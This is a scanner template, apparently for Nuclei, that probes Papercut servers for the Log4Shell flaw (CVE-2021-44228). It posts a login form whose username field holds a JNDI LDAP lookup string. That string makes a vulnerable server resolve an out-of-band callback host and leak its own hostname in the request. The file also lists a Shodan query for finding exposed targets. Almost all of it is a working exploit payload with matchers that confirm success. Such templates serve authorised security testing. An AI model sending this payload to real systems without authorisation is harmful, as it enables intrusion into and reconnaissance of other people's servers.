id: papercut-log4j-rce

info:
  name: Papercut - Remote Code Execution (Apache Log4j)
  author: shaikhyaser
  severity: critical
  description: |
    Papercut is susceptible to Log4j JNDI remote code execution. Papercut is a print management system.
  reference:
    - https://www.papercut.com/kb/Main/Log4Shell-CVE-2021-44228#product-status
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
  metadata:
    max-request: 1
    shodan-query: title:"Papercut"
  tags: cve,cve2021,rce,jndi,log4j,papercut,oast,kev
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'
  str: "{{rand_base(5)}}"

http:
  - raw:
      - |
        POST /app HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Referer: {{RootURL}}/app
        Content-Type: application/x-www-form-urlencoded

        service=direct%2F1%2FHome%2F%24Form&sp=S0&Form0=%24Hidden%240%2C%24Hidden%241%2CinputUsername%2CinputPassword%2C%24Submit%240%2C%24PropertySelection&%24Hidden%240=true&%24Hidden%241=X&inputUsername=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&inputPassword=a&%24Submit%240=Log+in&%24PropertySelection=en

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol #Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

    extractors:
      - type: kval
        kval:
          - interactsh_ip

      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

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